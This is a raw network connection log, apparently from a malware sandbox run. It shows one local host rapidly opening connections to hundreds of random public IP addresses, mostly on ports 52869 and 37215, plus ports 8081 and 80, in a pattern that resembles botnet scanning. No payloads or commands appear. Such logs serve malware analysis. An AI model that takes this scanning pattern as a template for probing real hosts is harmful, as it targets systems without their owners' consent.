Jul 20, 2024 23:05:43.731878996 CEST	8081	38322	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:43.732187986 CEST	43695	52869	192.168.2.13	85.19.96.63
Jul 20, 2024 23:05:43.732187986 CEST	44719	37215	192.168.2.13	157.189.157.40
Jul 20, 2024 23:05:43.732187986 CEST	43695	52869	192.168.2.13	118.170.203.33
Jul 20, 2024 23:05:43.732187986 CEST	44719	37215	192.168.2.13	31.204.22.235
Jul 20, 2024 23:05:43.732188940 CEST	44719	37215	192.168.2.13	171.125.127.98
Jul 20, 2024 23:05:43.732188940 CEST	44719	37215	192.168.2.13	41.166.40.211
Jul 20, 2024 23:05:43.732188940 CEST	43695	52869	192.168.2.13	212.70.199.46
Jul 20, 2024 23:05:43.732188940 CEST	43695	52869	192.168.2.13	17.133.223.62
Jul 20, 2024 23:05:43.732398033 CEST	38322	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	196.251.97.23
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	102.243.218.41
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	171.157.4.28
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	221.216.200.224
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	197.239.181.39
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	152.60.51.224
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	220.177.234.64
Jul 20, 2024 23:05:43.733273029 CEST	43695	52869	192.168.2.13	20.54.204.108
Jul 20, 2024 23:05:43.733809948 CEST	43695	52869	192.168.2.13	146.124.196.193
Jul 20, 2024 23:05:43.733809948 CEST	43695	52869	192.168.2.13	98.219.246.181
Jul 20, 2024 23:05:43.733809948 CEST	43695	52869	192.168.2.13	112.134.30.56
Jul 20, 2024 23:05:43.733809948 CEST	44719	37215	192.168.2.13	197.28.186.140
Jul 20, 2024 23:05:43.733809948 CEST	44719	37215	192.168.2.13	169.250.82.199
Jul 20, 2024 23:05:43.733809948 CEST	44719	37215	192.168.2.13	155.248.162.136
Jul 20, 2024 23:05:43.733809948 CEST	43695	52869	192.168.2.13	53.212.2.16
Jul 20, 2024 23:05:43.733810902 CEST	43695	52869	192.168.2.13	66.139.231.189
Jul 20, 2024 23:05:43.736382008 CEST	50222	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.736764908 CEST	43695	52869	192.168.2.13	147.239.45.115
Jul 20, 2024 23:05:43.736764908 CEST	43695	52869	192.168.2.13	65.207.71.206
Jul 20, 2024 23:05:43.736764908 CEST	43695	52869	192.168.2.13	47.217.91.118
Jul 20, 2024 23:05:43.736898899 CEST	44719	37215	192.168.2.13	157.81.22.6
Jul 20, 2024 23:05:43.736898899 CEST	43695	52869	192.168.2.13	180.19.48.166
Jul 20, 2024 23:05:43.736898899 CEST	43695	52869	192.168.2.13	179.95.149.154
Jul 20, 2024 23:05:43.736898899 CEST	44719	37215	192.168.2.13	157.91.141.194
Jul 20, 2024 23:05:43.736898899 CEST	43695	52869	192.168.2.13	86.217.3.16
Jul 20, 2024 23:05:43.736898899 CEST	44719	37215	192.168.2.13	137.46.76.3
Jul 20, 2024 23:05:43.736898899 CEST	44719	37215	192.168.2.13	157.176.150.249
Jul 20, 2024 23:05:43.736898899 CEST	43695	52869	192.168.2.13	162.111.188.151
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	156.72.162.161
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	148.244.158.133
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	175.3.168.151
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	209.98.155.153
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	162.199.43.225
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	205.3.18.153
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	170.27.132.16
Jul 20, 2024 23:05:43.738615990 CEST	43695	52869	192.168.2.13	5.49.216.228
Jul 20, 2024 23:05:43.738754034 CEST	43695	52869	192.168.2.13	117.31.136.186
Jul 20, 2024 23:05:43.738754034 CEST	43695	52869	192.168.2.13	125.90.137.252
Jul 20, 2024 23:05:43.738754034 CEST	43695	52869	192.168.2.13	117.59.109.0
Jul 20, 2024 23:05:43.738754034 CEST	43695	52869	192.168.2.13	77.90.252.240
Jul 20, 2024 23:05:43.738754034 CEST	43695	52869	192.168.2.13	67.119.83.236
Jul 20, 2024 23:05:43.738754988 CEST	43695	52869	192.168.2.13	113.123.20.237
Jul 20, 2024 23:05:43.741208076 CEST	43695	52869	192.168.2.13	75.86.75.139
Jul 20, 2024 23:05:43.741208076 CEST	43695	52869	192.168.2.13	87.248.254.224
Jul 20, 2024 23:05:43.741208076 CEST	43695	52869	192.168.2.13	77.101.155.107
Jul 20, 2024 23:05:43.741208076 CEST	43695	52869	192.168.2.13	162.150.70.147
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	187.112.223.22
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	124.42.228.75
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	198.60.0.172
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	95.186.71.97
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	81.181.244.4
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	199.225.37.101
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	182.194.165.206
Jul 20, 2024 23:05:43.741297007 CEST	43695	52869	192.168.2.13	193.95.209.47
Jul 20, 2024 23:05:43.741354942 CEST	8081	52842	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:43.741357088 CEST	80	52590	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:43.741463900 CEST	43695	52869	192.168.2.13	132.151.53.111
Jul 20, 2024 23:05:43.741585970 CEST	43695	52869	192.168.2.13	117.188.79.138
Jul 20, 2024 23:05:43.741586924 CEST	44719	37215	192.168.2.13	157.254.59.85
Jul 20, 2024 23:05:43.741586924 CEST	43695	52869	192.168.2.13	141.1.17.252
Jul 20, 2024 23:05:43.741586924 CEST	43695	52869	192.168.2.13	46.210.215.14
Jul 20, 2024 23:05:43.741586924 CEST	43695	52869	192.168.2.13	131.228.15.152
Jul 20, 2024 23:05:43.741586924 CEST	43695	52869	192.168.2.13	145.102.69.72
Jul 20, 2024 23:05:43.741586924 CEST	44719	37215	192.168.2.13	197.80.7.211
Jul 20, 2024 23:05:43.742228031 CEST	80	46456	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:43.742719889 CEST	80	45212	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	201.153.52.54
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	207.116.143.87
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	161.7.29.3
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	178.108.156.172
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	198.160.250.5
Jul 20, 2024 23:05:43.743237972 CEST	43695	52869	192.168.2.13	68.146.144.224
Jul 20, 2024 23:05:43.743747950 CEST	80	50222	95.12.52.181	192.168.2.13
Jul 20, 2024 23:05:43.743798018 CEST	43695	52869	192.168.2.13	113.171.228.126
Jul 20, 2024 23:05:43.744008064 CEST	80	34638	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:43.744201899 CEST	80	39158	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:43.744302988 CEST	43695	52869	192.168.2.13	40.27.99.50
Jul 20, 2024 23:05:43.744302988 CEST	43695	52869	192.168.2.13	79.216.79.117
Jul 20, 2024 23:05:43.744302988 CEST	43695	52869	192.168.2.13	204.17.146.89
Jul 20, 2024 23:05:43.744302988 CEST	43695	52869	192.168.2.13	221.203.157.92
Jul 20, 2024 23:05:43.744302988 CEST	43695	52869	192.168.2.13	64.114.144.94
Jul 20, 2024 23:05:43.744303942 CEST	43695	52869	192.168.2.13	135.228.125.98
Jul 20, 2024 23:05:43.744303942 CEST	43695	52869	192.168.2.13	53.209.140.106
Jul 20, 2024 23:05:43.744303942 CEST	43695	52869	192.168.2.13	170.227.146.47
Jul 20, 2024 23:05:43.744366884 CEST	39158	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:43.744366884 CEST	52590	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	125.245.29.93
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	175.145.228.250
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	106.50.228.155
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	115.99.23.189
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	188.112.162.77
Jul 20, 2024 23:05:43.744436026 CEST	43695	52869	192.168.2.13	105.176.211.26
Jul 20, 2024 23:05:43.745587111 CEST	8081	46668	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	103.254.100.157
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	171.17.250.180
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	92.19.99.51
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	125.189.221.73
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	145.17.101.9
Jul 20, 2024 23:05:43.746505976 CEST	43695	52869	192.168.2.13	78.12.214.178
Jul 20, 2024 23:05:43.747015953 CEST	43695	52869	192.168.2.13	17.8.7.164
Jul 20, 2024 23:05:43.747015953 CEST	43695	52869	192.168.2.13	83.246.121.116
Jul 20, 2024 23:05:43.747015953 CEST	43695	52869	192.168.2.13	114.244.204.144
Jul 20, 2024 23:05:43.747015953 CEST	43695	52869	192.168.2.13	9.197.30.135
Jul 20, 2024 23:05:43.747015953 CEST	43695	52869	192.168.2.13	60.71.107.49
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	75.106.240.245
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	113.34.89.105
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	149.179.238.2
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	223.1.157.42
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	141.63.118.255
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	163.217.44.4
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	213.60.193.62
Jul 20, 2024 23:05:43.747227907 CEST	43695	52869	192.168.2.13	78.92.151.119
Jul 20, 2024 23:05:43.748924017 CEST	43695	52869	192.168.2.13	220.121.235.237
Jul 20, 2024 23:05:43.748924017 CEST	43695	52869	192.168.2.13	216.172.222.203
Jul 20, 2024 23:05:43.748924017 CEST	43695	52869	192.168.2.13	86.149.0.96
Jul 20, 2024 23:05:43.748924017 CEST	43695	52869	192.168.2.13	124.186.242.17
Jul 20, 2024 23:05:43.748924017 CEST	43695	52869	192.168.2.13	150.189.234.232
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	133.7.163.233
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	37.97.70.111
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	35.119.12.2
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	90.206.12.206
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	211.113.251.147
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	139.75.120.13
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	157.179.135.44
Jul 20, 2024 23:05:43.749074936 CEST	43695	52869	192.168.2.13	128.133.203.41
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	89.43.196.21
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	196.245.47.234
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	71.198.154.233
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	70.31.189.127
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	156.27.174.77
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	24.84.240.76
Jul 20, 2024 23:05:43.749200106 CEST	43695	52869	192.168.2.13	186.1.24.84
Jul 20, 2024 23:05:43.749593973 CEST	8081	56942	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:43.750447989 CEST	80	33324	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:43.750874043 CEST	80	32940	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:43.751141071 CEST	43695	52869	192.168.2.13	101.206.93.128
Jul 20, 2024 23:05:43.751205921 CEST	43695	52869	192.168.2.13	122.21.9.31
Jul 20, 2024 23:05:43.751205921 CEST	43695	52869	192.168.2.13	47.112.130.62
Jul 20, 2024 23:05:43.751205921 CEST	43695	52869	192.168.2.13	195.164.167.51
Jul 20, 2024 23:05:43.751205921 CEST	43695	52869	192.168.2.13	199.216.137.198
Jul 20, 2024 23:05:43.751205921 CEST	43695	52869	192.168.2.13	175.186.49.31
Jul 20, 2024 23:05:43.751553059 CEST	50222	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:43.751553059 CEST	34638	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:43.751722097 CEST	80	33886	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:43.752080917 CEST	43695	52869	192.168.2.13	108.144.128.142
Jul 20, 2024 23:05:43.752080917 CEST	43695	52869	192.168.2.13	90.111.124.162
Jul 20, 2024 23:05:43.752080917 CEST	43695	52869	192.168.2.13	132.172.43.146
Jul 20, 2024 23:05:43.752082109 CEST	43695	52869	192.168.2.13	187.249.183.7
Jul 20, 2024 23:05:43.752082109 CEST	43695	52869	192.168.2.13	153.71.106.110
Jul 20, 2024 23:05:43.752082109 CEST	43695	52869	192.168.2.13	34.64.233.21
Jul 20, 2024 23:05:43.752082109 CEST	43695	52869	192.168.2.13	204.144.146.246
Jul 20, 2024 23:05:43.752082109 CEST	43695	52869	192.168.2.13	113.39.80.250
Jul 20, 2024 23:05:43.752285004 CEST	43695	52869	192.168.2.13	89.253.216.119
Jul 20, 2024 23:05:43.752285957 CEST	43695	52869	192.168.2.13	92.162.75.205
Jul 20, 2024 23:05:43.752346039 CEST	80	37016	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:43.752382994 CEST	33324	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:43.753143072 CEST	8081	35782	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:43.753599882 CEST	80	40132	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	23.254.214.159
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	175.254.53.17
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	102.5.58.31
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	99.146.218.161
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	93.45.199.249
Jul 20, 2024 23:05:43.753706932 CEST	43695	52869	192.168.2.13	141.211.12.130
Jul 20, 2024 23:05:43.753771067 CEST	43695	52869	192.168.2.13	184.234.90.152
Jul 20, 2024 23:05:43.753772020 CEST	43695	52869	192.168.2.13	23.244.23.40
Jul 20, 2024 23:05:43.753772020 CEST	43695	52869	192.168.2.13	113.17.144.32
Jul 20, 2024 23:05:43.753772020 CEST	43695	52869	192.168.2.13	44.82.1.129
Jul 20, 2024 23:05:43.753772020 CEST	43695	52869	192.168.2.13	79.0.176.2
Jul 20, 2024 23:05:43.753772020 CEST	43695	52869	192.168.2.13	102.104.217.130
Jul 20, 2024 23:05:43.755239010 CEST	43695	52869	192.168.2.13	45.196.208.132
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	92.99.117.48
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	196.181.213.250
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	74.71.196.120
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	87.188.41.115
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	123.69.225.115
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	104.67.128.97
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	103.6.67.29
Jul 20, 2024 23:05:43.755451918 CEST	43695	52869	192.168.2.13	58.2.216.120
Jul 20, 2024 23:05:43.755870104 CEST	8081	51096	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	117.48.153.157
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	194.3.139.132
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	99.19.172.216
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	173.96.138.37
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	43.178.214.176
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	84.81.57.181
Jul 20, 2024 23:05:43.756089926 CEST	43695	52869	192.168.2.13	178.151.223.150
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	221.199.5.40
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	119.69.52.112
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	156.224.60.129
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	57.25.43.56
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	48.215.94.34
Jul 20, 2024 23:05:43.757536888 CEST	43695	52869	192.168.2.13	60.100.220.212
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	199.12.118.231
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	155.61.33.119
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	88.185.239.176
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	54.16.133.25
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	186.97.247.91
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	132.174.178.64
Jul 20, 2024 23:05:43.758198023 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:43.758198023 CEST	43695	52869	192.168.2.13	54.197.202.202
Jul 20, 2024 23:05:43.758445024 CEST	80	53866	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:43.758550882 CEST	43695	52869	192.168.2.13	172.48.99.206
Jul 20, 2024 23:05:43.758550882 CEST	43695	52869	192.168.2.13	59.53.226.46
Jul 20, 2024 23:05:43.758550882 CEST	43695	52869	192.168.2.13	220.59.149.86
Jul 20, 2024 23:05:43.758550882 CEST	43695	52869	192.168.2.13	52.91.75.201
Jul 20, 2024 23:05:43.758550882 CEST	43695	52869	192.168.2.13	115.245.16.65
Jul 20, 2024 23:05:43.758552074 CEST	43695	52869	192.168.2.13	18.188.80.2
Jul 20, 2024 23:05:43.758552074 CEST	43695	52869	192.168.2.13	60.82.172.81
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	71.114.147.200
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	202.81.95.79
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	129.227.46.247
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	189.48.136.49
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	84.121.194.203
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	95.209.35.52
Jul 20, 2024 23:05:43.759130001 CEST	43695	52869	192.168.2.13	99.163.209.96
Jul 20, 2024 23:05:43.759648085 CEST	43695	52869	192.168.2.13	115.215.194.200
Jul 20, 2024 23:05:43.759648085 CEST	43695	52869	192.168.2.13	23.209.58.80
Jul 20, 2024 23:05:43.759648085 CEST	43695	52869	192.168.2.13	5.30.21.150
Jul 20, 2024 23:05:43.759648085 CEST	43695	52869	192.168.2.13	68.118.249.231
Jul 20, 2024 23:05:43.759648085 CEST	43695	52869	192.168.2.13	85.245.51.1
Jul 20, 2024 23:05:43.759649038 CEST	43695	52869	192.168.2.13	53.63.142.176
Jul 20, 2024 23:05:43.759649038 CEST	43695	52869	192.168.2.13	94.228.53.231
Jul 20, 2024 23:05:43.759649038 CEST	43695	52869	192.168.2.13	54.248.88.79
Jul 20, 2024 23:05:43.760130882 CEST	43695	52869	192.168.2.13	209.179.245.138
Jul 20, 2024 23:05:43.760130882 CEST	43695	52869	192.168.2.13	94.34.177.116
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	180.84.26.162
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	196.2.239.143
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	42.199.81.89
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	97.182.93.20
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	44.221.205.26
Jul 20, 2024 23:05:43.760132074 CEST	43695	52869	192.168.2.13	89.54.214.2
Jul 20, 2024 23:05:43.761461020 CEST	43695	52869	192.168.2.13	73.47.62.241
Jul 20, 2024 23:05:43.761461020 CEST	43695	52869	192.168.2.13	108.46.86.209
Jul 20, 2024 23:05:43.761624098 CEST	80	56544	95.49.113.148	192.168.2.13
Jul 20, 2024 23:05:43.763001919 CEST	8081	47052	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:43.764420986 CEST	80	45774	95.30.65.188	192.168.2.13
Jul 20, 2024 23:05:43.764511108 CEST	56544	80	192.168.2.13	95.49.113.148
Jul 20, 2024 23:05:43.765382051 CEST	49690	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:43.765539885 CEST	8081	43608	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.765923977 CEST	60284	8081	192.168.2.13	47.44.23.215
Jul 20, 2024 23:05:43.765923977 CEST	45394	8081	192.168.2.13	121.121.132.42
Jul 20, 2024 23:05:43.765923977 CEST	37628	8081	192.168.2.13	223.9.8.159
Jul 20, 2024 23:05:43.766892910 CEST	45248	8081	192.168.2.13	157.212.128.61
Jul 20, 2024 23:05:43.767575979 CEST	45212	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:43.767666101 CEST	80	47806	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:43.767977953 CEST	52842	8081	192.168.2.13	136.231.77.244
Jul 20, 2024 23:05:43.768022060 CEST	80	58718	95.30.192.216	192.168.2.13
Jul 20, 2024 23:05:43.768368006 CEST	60328	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:43.769121885 CEST	80	43234	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:43.769251108 CEST	80	54412	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:43.769946098 CEST	80	43100	95.50.4.30	192.168.2.13
Jul 20, 2024 23:05:43.770020962 CEST	46668	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:43.770435095 CEST	33886	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:43.771022081 CEST	80	43532	95.76.135.22	192.168.2.13
Jul 20, 2024 23:05:43.771285057 CEST	80	59526	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:43.771549940 CEST	80	33502	95.151.14.251	192.168.2.13
Jul 20, 2024 23:05:43.773216009 CEST	80	43414	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:43.773554087 CEST	8081	60328	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:43.773592949 CEST	60328	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:43.773749113 CEST	8081	37466	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:43.774118900 CEST	45734	8081	192.168.2.13	139.176.103.99
Jul 20, 2024 23:05:43.774118900 CEST	56804	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:43.774602890 CEST	51096	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:43.774602890 CEST	58718	80	192.168.2.13	95.30.192.216
Jul 20, 2024 23:05:43.775913000 CEST	8081	54494	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:43.776308060 CEST	43100	80	192.168.2.13	95.50.4.30
Jul 20, 2024 23:05:43.779035091 CEST	21679	80	192.168.2.13	95.203.34.109
Jul 20, 2024 23:05:43.779067039 CEST	21679	80	192.168.2.13	95.102.115.79
Jul 20, 2024 23:05:43.779078960 CEST	80	34822	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:43.779184103 CEST	21679	80	192.168.2.13	95.98.218.55
Jul 20, 2024 23:05:43.779450893 CEST	21679	80	192.168.2.13	95.152.239.54
Jul 20, 2024 23:05:43.779612064 CEST	21679	80	192.168.2.13	95.221.47.226
Jul 20, 2024 23:05:43.779798985 CEST	21679	80	192.168.2.13	95.35.11.248
Jul 20, 2024 23:05:43.780006886 CEST	21679	80	192.168.2.13	95.210.243.101
Jul 20, 2024 23:05:43.780006886 CEST	21679	80	192.168.2.13	95.86.159.112
Jul 20, 2024 23:05:43.780006886 CEST	21679	80	192.168.2.13	95.173.68.151
Jul 20, 2024 23:05:43.780006886 CEST	21679	80	192.168.2.13	95.125.81.110
Jul 20, 2024 23:05:43.780006886 CEST	21679	80	192.168.2.13	95.36.8.35
Jul 20, 2024 23:05:43.780124903 CEST	80	46862	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:43.780191898 CEST	21679	80	192.168.2.13	95.251.137.49
Jul 20, 2024 23:05:43.780193090 CEST	21679	80	192.168.2.13	95.125.91.227
Jul 20, 2024 23:05:43.780193090 CEST	21679	80	192.168.2.13	95.39.232.243
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.190.186.72
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.184.21.231
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.249.255.224
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.167.134.109
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.174.111.201
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.47.54.247
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.236.221.41
Jul 20, 2024 23:05:43.780555010 CEST	21679	80	192.168.2.13	95.224.160.124
Jul 20, 2024 23:05:43.781754017 CEST	8081	33508	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:43.781994104 CEST	59312	8081	192.168.2.13	115.193.221.183
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.237.196.232
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.136.134.231
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.199.186.186
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.81.10.43
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.91.175.39
Jul 20, 2024 23:05:43.781994104 CEST	21679	80	192.168.2.13	95.172.204.226
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.13.224.160
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.228.98.74
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.165.197.26
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.58.205.39
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.157.234.73
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.84.208.161
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.35.170.168
Jul 20, 2024 23:05:43.782023907 CEST	21679	80	192.168.2.13	95.33.217.95
Jul 20, 2024 23:05:43.782213926 CEST	21679	80	192.168.2.13	95.34.251.203
Jul 20, 2024 23:05:43.782213926 CEST	21679	80	192.168.2.13	95.51.112.109
Jul 20, 2024 23:05:43.782213926 CEST	21679	80	192.168.2.13	95.206.42.203
Jul 20, 2024 23:05:43.782213926 CEST	21679	80	192.168.2.13	95.194.102.216
Jul 20, 2024 23:05:43.782213926 CEST	21679	80	192.168.2.13	95.117.206.106
Jul 20, 2024 23:05:43.783309937 CEST	35028	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:43.783309937 CEST	43090	8081	192.168.2.13	1.220.154.182
Jul 20, 2024 23:05:43.783309937 CEST	50154	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:43.784035921 CEST	80	21679	95.203.34.109	192.168.2.13
Jul 20, 2024 23:05:43.784246922 CEST	80	21679	95.102.115.79	192.168.2.13
